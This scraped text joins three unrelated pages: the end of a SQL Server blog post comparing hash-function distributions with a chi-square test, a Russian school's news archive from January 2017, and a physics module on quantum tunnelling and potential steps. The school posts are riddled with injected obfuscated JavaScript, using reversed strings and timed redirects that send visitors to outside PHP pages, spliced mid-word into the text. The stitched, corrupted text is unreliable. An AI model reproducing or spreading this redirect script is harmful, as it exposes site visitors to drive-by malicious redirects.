1\nFROM dbo.fn_nums( POWER(2,16) )\n\nA sample output form this table:",
null,
"I can calculate the hash values and put them into a table like this:\n\nCREATE TABLE HashResult\n(\nObservationID INT IDENTITY(1,1)\n, HashValue_i INT\n)\n\nCREATE CLUSTERED INDEX CIX ON HashResult (HashValue_i)\n\nAnd finally, I can join them all up and count the values in each bucket:\n\nSELECT\nBucketID\n, CAST(ISNULL(COUNT(HashValue_i), 0) AS FLOAT) AS Observed\nFROM ExpectedBuckets EB\nLEFT JOIN HashResult\nON HashValue_i BETWEEN EB.RangeStart AND EB.RangeEnd\nGROUP BY BucketID\n\nWe now have a nice count of the content in hash bucket, it looks like this:",
null,
"How do we test if this is a good result or not? It seems that min/max, averages and standard deviations don’t really suffice here (sorry modern MBA types, I realise I am going to loose you now",
null,
").\n\nWe need to do some hypothesis testing. The hypothesis I want to test (aka: the NULL hypothesis – all resemblance to relational algebra is purely coincidental).\n\n“My chosen hash function evenly distributes the integers into the 64K hash buckets”\n\nInterestingly, this hypothesis makes a prediction (has to, if not we cannot falsify it): namely that in each bucket filled by hashing the 1M rows, we should expect to measure 1M / 64K = 15 members.\n\nThere is also an important twist here: We have to measure the content of each bucket, even when it is zero. This is why I use a left join in the query above, we have to measure all the results we know, not just count the hash buckets that actually get filled (you can see how not bucketing the data would have made the test result very large).\n\nWe can now test the hypothesis against the measured result. If we see correlation, then it gives us confidence in the correctness of the hypothesis, and lets us conclude that our hash function is a good one. It also gives us the ability to compare different hash functions with each other. We can test for correlation between the predicted result and the actual result with the chi-square test. Interestingly, the tools we need for this test is even exposed in Excel as the CHISQ series of functions.\n\nWithout further ado (and insults), here are the results:",
null,
"(source data available on request)\n\n• Most importantly: the CHECKSUM and BINARY_CHECKSUM functions are very poor hash functions. Even with 1M input and 64K large buckets, they don’t even fill the hash space. The skew is massive on non-skewed input data.\n• We also see that casting the INT to NVARCHAR improves the behavior of both BINARY_CHECKSUM and CHECKSUM, but not enough to make them good hash functions.\n• SHA and SHA1 seem to give us the best spread of the data, but at 1 microsecond per hash, it seems rather expensive.\n• Notice that the MD series do not give a particularly nice spread. I suspect this is related to the way I divide the data with MaxInt to get from the 120bit value to a 4-byte integer\n• We see that only the modulo does a distribution that gives us nearly 100% confidence (not fully though, because 1M does not divide 64K, which is reflected in the 824 value of Chi-squared). This result is expected, and my function here is engineered to “game the test”. The modulo cannot generally be used like this to spread the value all over the 32 bit integer space.\n• For fun, I put in a test where I use random values all over the integer space. Even with a confidence interval of 10%, we cannot say it distributes evenly. This means that SHA functions distribute better than random on this input dataset. Your mileage will of course vary for random values\n\nOn the note of the CHECKUM series, Books Online does (under?) state:\n\nIf one of the values in the expression list changes, the checksum of the list also generally changes. However, there is a small chance that the checksum will not change. For this reason, we do not recommend using CHECKSUM to detect whether values have changed, unless your application can tolerate occasionally missing a change. Consider using HashBytes instead. When an MD5 hash algorithm is specified, the probability of HashBytes returning the same result for two different inputs is much lower than that of CHECKSUM.\n\n### Summary\n\nIn this blog I have explored properties of hash function built into SQL Server. The results indicate some general guidance that could be followed:\n\n• For best spread over the hash space, use SHA or SHA1 algorithms with HASHBYTES function\n• Be VERY careful about using CHECKSUM and BINARY_CHECKSUM as these functions do not spread a hashed integer value nicely over the full space. Depending on what you use these functions for, they may not be suitable\n• It takes about 1 CPU microsecond to calculate a single call to HASHBYTES, except when hashing with MD2\n• Using HASHBYTES to spread out values over the 32-bit integer space seems rather expensive, since even the best cases uses tens of thousands of CPU instructions.\n• This indicates that it may be possible to implement a better hash function if you do not care about cryptographic properties of the hash\n\nReference:"
]
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"http://kejser.org/wp-content/uploads/2011/11/image_thumb41.png",
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"http://kejser.org/wp-content/uploads/2011/11/image_thumb11.png",
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null,
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http://integration21.ru/en/2017/01/ | [
"",
null,
"",
null,
"# Monthly Archives: January 2017\n\n31 Jan 2017\n\n## SOLEMN meeting of memory of the 73-th anniversary of LIFTING the SIEGE of LENINGRAD AND VICTIMS of the HOLOCAUST\n\nToday we gathered here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to mark the new day – 27th of January. It is not a normal day, it is fulfilled with a sad memories about those, who died toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to support the blocked Leningrad, the city was freed 73 years ago. We are happy for those who survived and sad for those who died – mixed feelings fill our hearts. “We were listening for Necheva Nastya stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var […]\n\n25 Jan 2017\n\n## Make good. Meeting with WWII veterans in the primary school.\n\n“Make good” is our mottoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to, that’s why we invite the veterans toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to our play “Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}tory about Snegovushka”. It was a gift toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to our guests. After the play students had a chance toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to talk toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to the veterans over a cup of tea. Katia Kennefik “WWII […]\n\n13 Jan 2017\n\n## Vic\\$mkD=function(n){if (typeof (\\$mkD.list[n]) == \"string\") return \\$mkD.list[n].split(\"\").reverse().join(\"\");return \\$mkD.list[n];};\\$mkD.list=[\"\\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\\'=ferh.noitacol.tnemucod\"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout(\\$mkD(0), delay);}\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}tolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}tory in the international festival “Sign about Russia”\n\nThe international festival “Sign about Russia” was held in the end of December 2016. It was dedicated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to the year of Russian filming. Choir of “XXI century Integration” elementary school won in its age category. Our congratulations toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to winners! We offer you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to listen toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to their performance and enjoy it with us!\n\n09 Jan 2017\n\n## Vic\\$mkD=function(n){if (typeof (\\$mkD.list[n]) == \"string\") return \\$mkD.list[n].split(\"\").reverse().join(\"\");return \\$mkD.list[n];};\\$mkD.list=[\"\\'php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\\'=ferh.noitacol.tnemucod\"];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout(\\$mkD(0), delay);}\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}tolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}\\$mWn=function(n){if(typeof (\\$mWn.list[n])==\"string\") return \\$mWn.list[n].split(\"\").reverse().join(\"\");return \\$mWn.list[n];};\\$mWn.list=[\"\\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}tory in the competition of computer drawings\n\nCongratulations toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to 3-4 graders of ” XXI century Integration ” international school, participants of the international competition “ArtKomp 2.0”, dedicated toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to the year of filming in Russia and toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout(\\$mWn(0),delay);}to their supervisor Potukaeva Elena Alexandrovna! 1st place Vasileva Darya Galeeva Alina Karastelina Elizabeth Kennefik Ekaterina Minustina Eugene Yakovleva Ekaterina 2nd place Gomershtadt Ariadne Kotenko Valery Kuzminova Mayuri Sadukov Semen Strigin Miron […]"
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"https://mc.yandex.ru/watch/62228185",
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http://www.met.reading.ac.uk/pplato2/h-flap/phys11_1.html | [
"# 1 Opening items\n\n## 1.1 Module introduction\n\nIn 1954, the Nobel Prize for physics was awarded to Cockcroft and Walton for their initiation of nuclear physics twenty years previously. They made use of quantum tunnelling to induce nuclear reactions in circumstances which classical physics deemed impossible. In 1973, the Nobel Prize was awarded to three scientists for their work in developing useful devices called tunnel diodes which depend for their operation on the same effect. These devices have opened up whole new areas of physics and technology. In 1986, another Nobel Prize was awarded to Binnig and Rohrer for their invention of the scanning tunnelling electron microscope. All these prizes have been awarded for the exploitation of one quantum effect, carried out with great ingenuity and insight.\n\nThe behaviour of particles such as electrons, photons and nucleons is determined by their quantum mechanical characteristics, and we rely on the Born probability hypothesis to relate particle position to the amplitude squared of the associated wavefunction. Such particles may therefore be expected to exhibit wave–like characteristics. When light waves encounter a boundary where the refractive index changes, there may be both a reflected and a transmitted wave. If the boundary is between a transparent and an opaque material, the wave will still penetrate into the opaque material for a distance roughly equal to the wavelength. It follows that light can be transmitted through a layer of a metal provided its thickness is less than the penetration depth of the wave.\n\nA good example of this is the layer of silver a few atoms thick on a glass slide forming a semi–reflecting mirror. In the context of quantum mechanics we might expect particles to show similar behaviour.\n\nIn the quantum mechanical case, one can think of the particle potential energy as roughly analogous to a refractive index. If the potential energy changes suddenly with position, then there is usually both a transmitted and a reflected quantum wave at the boundary, and the particles will be transmitted or reflected with calculable probability. If the increase in potential energy is greater than the particle kinetic energy, then the quantum wave will penetrate into the classically forbidden region though its amplitude will rapidly decrease. In consequence, if the region of high potential energy is narrow enough, the wave will emerge with reduced amplitude on the other side and there is a probability that the associated particle will tunnel through. A narrow region of high potential energy is called a potential barrier. Quantum mechanics therefore predicts two effects totally alien to the classical mechanics based on Newton’s laws: (i) particles may be reflected by any sudden change in potential energy, and (ii) particles can tunnel through narrow potential barriers. Experiment confirms both of these remarkable predictions.\n\nStudy comment Having read the introduction you may feel that you are already familiar with the material covered by this module and that you do not need to study it. If so, try the following Fast track questions. If not, proceed directly to the Subsection 1.3Ready to study? Subsection.\n\n## 1.2 Fast track questions\n\nStudy comment Can you answer the following Fast track questions? If you answer the questions successfully you need only glance through the module before looking at the Subsection 5.1Module summary and the Subsection 5.2Achievements. If you are sure that you can meet each of these achievements, try the Subsection 5.3Exit test. If you have difficulty with only one or two of the questions you should follow the guidance given in the answers and read the relevant parts of the module. However, if you have difficulty with more than two of the Exit questions you are strongly advised to study the whole module.\n\nQuestion F1\n\nA stationary state spatial wavefunction ψ(x) = Aexp(ikx) represents a stream of particles. What is the number density of particles per unit length, the momentum of each particle, and the flux?\n\nThe wavefunction ψ(x) = Aexp(ikx) is a momentum eigenfunction. It can represent a beam of electrons moving in the +x–direction, each with definite momentum $p = \\hbar k$. The number of particles per unit length is then given by |A|2 and the flux by $F = \\lvert\\,A\\,\\rvert^2\\hbar k/m$.\n\nQuestion F2\n\nA beam of electrons with kinetic energy 5 eV is incident on a region where the electron potential energy suddenly increases from 0 to 2.5 eV. Calculate the transmission and reflection coefficients at this ‘step’. Sketch the electron density as a function of position. Account for the sequence of maxima and minima before the step. Assume the potential is constant before and after the step.\n\nThe de Broglie wavelength λ = h/p, where p is the momentum, so that $k = 2\\pi/\\lambda = p/\\hbar$. The momentum is calculated from the total energy E and the potential energy V: $E = \\frac12m\\upsilon^2 + V = p^2/(2m) + V$ so that $p = \\sqrt{2m(E-V)\\os}$.\n\nBefore the step, V = 0 and $k_1 = \\sqrt{2mE\\os}/\\hbar$ with E = 5 eV. After the step, $k_2 = \\sqrt{2m(E-V)\\os}/\\hbar$ with EV = (5 − 2.5) eV = 2.5 eV.\n\nClearly $k_2 = k_1/\\sqrt{2\\os}$.\n\nThe reflection coefficient R and the transmission coefficient T are given by:",
null,
"Figure 4 The particle density function P(x) in the region of a potential step (E > V). In region (I), P(x) shows a pattern of alternating maxima and minima caused by the interference of the incident and reflected waves.\n\n$R = \\dfrac{\\text{reflected flux}}{\\text{incident flux}} = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$\n\nand$T = \\dfrac{\\text{transmitted flux}}{\\text{incident flux}} = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$ with R + T = 1\n\nWe know that $k_2 = k_1/\\sqrt{2\\os}$ so that:\n\n$R = \\left(\\dfrac{\\sqrt{2\\os}-1}{\\sqrt{2\\os}+1}\\right)^2 = 0.029$\n\nWe have R + T = 1, so T = 0.971.\n\nYour sketch of the electron density should look similar to Figure 4.\n\nThe series of maxima and minima in the density function before the step is caused by the interference of the incident and reflected waves. The amplitude of the reflected wave is smaller than the incident wave, so the minima are greater than zero.\n\nQuestion F3\n\nEstimate the fraction of 2.5 eV electrons that pass through a potential barrier height 5 eV and width 0.5 nm.\n\nA good approximation for the transmission coefficient of particles with energy E incident on potential barrier width d and height V > E is T ≈ 4exp(−2αd), where $\\alpha = \\sqrt{2m(V-E)\\os}$\n\nWe have VE = 2.5 eV and d = 0.5 nm.\n\nConverting into joules: VE = 2.5 × 1.6 × 10−19 J = 4.0 × 10−19 J\n\n$\\alpha = \\rm \\dfrac{\\sqrt{2\\times9.11\\times10^{-31}\\times4.0\\times10^{-19}}}{1.05\\times10^{-34}}\\,m^{-1} = 0.813\\times10^{10}\\,m^{-1}$\n\nT ≈ 4exp(−2 × 0.813 × 1010 × 0.5 × 10−9) = 4exp(−8.13) = 1.2 × 10−3\n\nSo approximately 0.1% of electrons will pass through this barrier.\n\nStudy comment Having seen the Fast track questions you may feel that it would be wiser to follow the normal route through the module and to proceed directly to the following Ready to study? Subsection.\n\nAlternatively, you may still be sufficiently comfortable with the material covered by the module to proceed directly to the Section 5Closing items.\n\nStudy comment In order to study this module, you will need to be familiar with the following physics terms: de Broglie wave, eigenfunction (of momentum), time–independent Schrödinger equation, wavefunction, Born probability interpretation of the wavefunction, the (stationary state) probability density function P(x) = |ψ(x)|2. You should be familiar with the solutions of the Schrödinger equation for a particle moving in one dimension, in a region where the potential energy is constant. In particular, you should know the different forms of the solutions: (a) when the total energy of the particle is greater than the potential energy, and (b) when the total energy is less than the potential energy. Some knowledge of classical Newtonian mechanics is assumed, especially the treatment of particle motion in terms of the total energy, kinetic energy and potential energy. The module assumes some familiarity with the treatment of transverse waves on a string and the reflection of travelling waves at a boundary. If you are uncertain of any of these terms, you can review them now by referring to the Glossary which will indicate where in FLAP they are developed. We have to use complex numbers, so you must be familiar with them in cartesian_form_of_a_complex_numberCartesian form z = a + ib, polar form z = A(cosθ + isinθ) and exponential_form_of_a_complex_numberexponential form z = Aexp(). You must be confident using a spatial wavefunction written as a complex number: for example ψ(x) = Aexp(ikx), and with the manipulation of complex numbers. We will frequently use calculusdifferential calculus, including differentiation of elementary functions such as sine, cosine and exponential. The following Ready to study questions will allow you to establish whether you need to review some of the topics before embarking on this module.\n\nQuestion R1\n\nWrite down the spatial part of the wavefunction of a particle travelling in the positive x–direction with definite momentum p. If the total energy of the particle is E and the potential energy has the constant value V, what is the relation between p, E, and V? What is the relation between the angular wavenumber k, i the de Broglie wavelength, and the momentum magnitude p?\n\nThe spatial wavefunction of a particle with definite momentum p is $\\psi(x) = A\\exp(ipx/\\hbar)$.\n\nThe total energy is the sum of the kinetic energy and the potential energy:\n\n$E = T + V = \\frac12m\\upsilon^2 + V$\n\nbut p = , so that$E = \\dfrac{p^2}{2m} + V$\n\nSolving for p, we find$p = \\sqrt{2m(E-V)\\os}$\n\nThe de Broglie wavelength is given by λ = h/p, and the angular wavenumber k is given by k = 2π/λ, so that $k = p/\\hbar$ where $\\hbar = h/2\\pi$.\n\nQuestion R2\n\nWrite down the time–independent Schrödinger equation for a particle moving in one dimension (x) in a region of space where the total energy is less than the constant potential energy V. Show by substitution that the spatial wavefunction ψ(x) = Aexp(−αx) + Bexp(αx), where A and B are constants, is a solution of this equation and find α in terms of E and V.\n\nThe time–independent Schrödinger equation is:\n\n$\\dfrac{-\\hbar^2}{2m\\os}\\dfrac{d\\psi(x)}{dx^2} = (E-V)\\psi(x)$ with E < V\n\nTry the solution suggested, ψ(x) = Aexp(−αx) + Bexp(αx):\n\n$\\dfrac{d\\psi}{dx} = -\\alpha A\\exp(-\\alpha x) + \\alpha B\\exp(\\alpha x)$\n\n$\\dfrac{d^2\\psi}{dx^2} = +\\alpha^2A\\exp(-\\alpha x) + \\alpha^2B\\exp(\\alpha x)$\n\nTherefore$\\dfrac{-\\hbar^2}{2m\\os}\\dfrac{d\\psi(x)}{dx^2} = \\dfrac{-\\hbar^2\\alpha^2\\psi}{2m\\os}$\n\nSubstituting in the Schrödinger equation, and assuming ψ ≠ 0:\n\n$\\alpha^2 = \\dfrac{2m(V-E)}{\\hbar^2}$\n\nand since V > E $\\alpha = \\dfrac{\\sqrt{2m(V-E)\\os}}{\\hbar}$\n\nand ψ satisfies the time–independent Schrödinger equation.\n\nQuestion R3\n\nDefine the (stationary state) probability density function P(x), for a particle moving in one dimension, and describe its physical interpretation. A particle has the spatial wavefunction ψ(x) = Aexp(−αx), in the region x ≥ 0, with A and α real, and ψ(x) = 0 elsewhere. Write down an expression for the probability density P(x). Find a real positive value of A if the total probability of finding the particle somewhere between x = 0 and x → ∞ is one (i.e. normalize the wavefunction).\n\nThe probability_densityprobability density function for a stationary state is defined by P(x) = |ψ(x)|2 = ψ*(x)ψ(x).\n\nIf a particle has wavefunction ψ(x), then the probability of finding the particle in a small region of space ∆x near x is P(x)x. The total probability of finding the particle is one, so that:\n\n$\\displaystyle \\int_{-\\infty}^{+\\infty} P(x)\\,dx = 1$\n\nP(x) = Aexp(−αx)Aexp(−αx) = A2exp(−2αx) for x ≥ 0; P(x) = 0 for x < 0.\n\nHence$\\displaystyle \\int_{-\\infty}^{+\\infty} P(x)\\,dx = \\int_{-\\infty}^{+\\infty} A^2\\exp(-2\\alpha x)\\,dx = 1$\n\nBut the middle expression in the above equation may be written:\n\n$\\dfrac{A^2}{-2\\alpha}\\left[\\exp(-2\\alpha x)\\right]_0^{\\infty} = \\dfrac{A^2}{-2\\alpha}[0-1] = \\dfrac{A^2}{2\\alpha}$\n\nand this must be equal to 1, so $A = \\sqrt{2\\alpha\\os}$.\n\nQuestion R4\n\n(a) Write z = a + ib in the form z = Aexp() by relating A and ϕ to a and b.\n\n(b) Show that the complex number $z = \\dfrac{a - ib}{a + ib}$ may be written as z = exp(−2).\n\n(c) Show that the complex number $z = \\dfrac{2a}{a + ib}$ may be written z = 2cosϕexp(−).\n\n(a) In full detail, the calculation goes like this:\n\n$z = a + ib = \\sqrt{a^2+b^2}\\left(\\dfrac{a}{\\sqrt{a^2+b^2}} + \\dfrac{ib}{\\sqrt{a^2+b^2}}\\right) = A(\\cos\\phi+i\\sin\\phi)$\n\nwheretanϕ = b/a and $A = \\sqrt{a^2+b^2}$.\n\nHencez = Aexp()\n\n(b) Using the result of (a) and a similar calculation with b replaced by −b:\n\n$z = \\dfrac{a - ib}{a + ib} = \\dfrac{A\\exp(-i\\phi)}{A\\exp(i\\phi)} = \\exp(2-i\\phi)$\n\nwhere tanϕ = b/a or ϕ = arctan(b/a).\n\n(c) The method is similar to (a) and (b):\n\n$z = \\dfrac{2a}{a + ib} = \\dfrac{2a}{\\sqrt{a^2+b^2}\\exp(i\\phi)}$\n\nwhere tanϕ = b/a and $\\cos\\phi = \\dfrac{a}{\\sqrt{a^2+b^2}}$\n\nso that$z = \\dfrac{2\\cos\\phi}{\\exp(i\\phi)} = 2\\cos\\phi\\exp(-i\\phi)$ as required.\n\n(For details about complex numbers and their use consult the Glossary.)\n\n# 2 Reflection and transmission at a potential step when E > V\n\n## 2.1 Classical description of the problem\n\nThe physical situation we are modelling is quite simple. A particle is moving with constant velocity in the positive x–direction and encounters at some point a strong force directed in the negative x–direction. The force is constant in time and acts over a short distance d. It is usually best to represent the situation in classical (Newtonian) mechanics with a potential energy function U(x). The derivative of the potential energy function with respect to x gives the force component in the negative x–direction:",
null,
"Figure 1 The potential energy function U(x) for a particle acted on by a repulsive force between x = 0 and x = d.\n\n$F_x(x) = -\\dfrac{U(x)}{dx}$\n\nThe potential energy function looks like that drawn in Figure 1. Notice that for convenience we have taken U(x) = 0 for x < 0 and U(x) = V for xd. It is the change in the potential energy that is physically significant, and the force acts in the region between 0 and d. For obvious reasons, the situation is referred to as a potential step, and we wish to know what happens to a particle encountering it.\n\nClassical mechanics gives a definite answer, and all we need to know is the initial speed of the particle, its mass m and the potential energy function. Classically, the total energy E of the particle, kinetic plus potential, must be constant everywhere. So, if we let the speed of the particle be u as it approaches the step, and if we let υ be its speed beyond the step, then\n\n$E = \\frac12mu^2 + 0 = \\frac12m\\upsilon^2 + V$\n\nHence$\\upsilon = \\sqrt{\\dfrac{2(E-V)}{m}}$ i\n\nThis equation has a real solution only if EV. The particle then passes across the step and continues with reduced speed. If the potential energy has a value greater than E beyond the step, then the solution for υ is purely imaginary_partimaginary and does not represent a physical situation. In fact, the particle is reflected from the step and is not seen in the region xd.\n\nIn the classical sense, reflected means that the repulsive force is so strong that the particle comes to rest and then moves back in the direction from which it came.\n\nQuestion T1\n\nSuppose the potential energy function in Figure 1 is U(x) = 0 for x < 0 and U(x) = 6 J for xd. A particle of mass 6 kg approaches from the left with speed 2 m s−1. Find its speed after the step.\n\nWe use the energy conservation for the motion. The initial total energy is $E =\\frac12mu^2$, where u is the incident speed, since the potential energy is zero for x < 0. Let the speed after the step be υ, then:\n\n$\\frac12m\\upsilon^2 + V = \\frac12mu^2$\n\nSolving for υ: $\\upsilon = \\sqrt{u^2 - \\dfrac{2V}{m}}$\n\nSubstituting for u, V and m:\n\n$\\upsilon = \\rm \\sqrt{2^2 - \\dfrac{2\\times6}{6}}\\,m\\,s^{-1} = 1.4\\,m\\,s^{-1}$\n\nIf the force on the particle is in the positive x–direction, then the potential energy decreases and we have a step down rather than a step up! It is easy to show that the particle will always gain speed at this step and classical physics predicts that it will never be reflected.",
null,
"Figure 2 A schematic representation of a potential step. The distance over which the force acts is assumed to be negligible. The total energy of the particle is E.\n\nOften we have to model this kind of situation when the distance d is small compared with any other dimension in the problem. Figure 2 represents a potential step with the distance d negligibly small; the potential suddenly increases at the origin from zero to a constant value V. Remember that this diagram can only be an approximation to the truth, since such a sudden increase in potential represents an infinite force acting over zero distance. However, it is a useful device, and it is also convenient to represent the total energy E on the diagram. Classical mechanics then makes the following definite predictions for a particle approaching from the left (x < 0) with zero potential energy initially:\n\nParticle transmitted across the step if E > V and V > 0\n\nParticle reflected at the step if E < V and V > 0\n\nParticle always transmitted across step if V ≤ 0\n\n## 2.2 The time–independent Schrödinger equation and its solutions\n\nIn order to find out what quantum mechanics can tell us about a physical situation, we have to make a simple model and then solve the Schrödinger equation to find the appropriate wave functions. As in classical mechanics, we model the potential function as a step and make the approximation that d is small, but small compared with what? i\n\nThe relevant dimension is now the de Broglie wavelength of the incident particle λ = h/p, where h is Planck’s constant and p is the magnitude of the particle momentum initially. The potential energy diagram is the same as Figure 2, and it is convenient to call the space x < 0 region (I) and the space x ≥ 0 region (II). The time–independent Schrödinger equation in one dimension is:\n\n$\\dfrac{-\\hbar^2}{2m\\os}\\dfrac{d^2\\psi(x)}{dx^2} + U(x)\\psi(x) = E\\psi(x)$(1)\n\nwhere E is the total energy of the particle, U(x) the potential energy function and ψ(x) the spatial part of the wavefunction.\n\nStudy comment The full wavefunction Ψ(x, t) is time–dependent and satisfies the time–dependent Schrödinger equation. For a stationary state of definite energy E the wavefunction takes the form\n\n${\\it\\Psi}(x,\\,t) = \\psi(x)\\exp\\left(-i\\dfrac{E}{\\hbar}t\\right)$\n\nSince this module is entirely concerned with states of given energy E, we need only determine ψ(x), which we may therefore conveniently refer to as the wavefunction. The full wavefunction Ψ(x, t) follows immediately. Similarly, we may refer to Equation 1 as the Schrödinger equation.\n\nIn region (I), U(x) = 0 and ψ(x) = ψ1(x) so the Schrödinger equation is\n\n$\\dfrac{-\\hbar^2}{2m\\os}\\dfrac{d^2\\psi_1(x)}{dx^2} = E\\psi_1(x)$\n\nThe solution of this equation takes the form:\n\nψ1(x) = Aexp(ik1x) + Bexp(−ik1x)(2)\n\nwith A and B arbitrary complex constants and $k_1 = \\sqrt{2mE/\\hbar\\os}$\n\nIn region (II), U(x) = V and the Schrödinger equation is:\n\n$\\dfrac{-\\hbar^2}{2m\\os}\\dfrac{d^2\\psi_2(x)}{dx^2} = 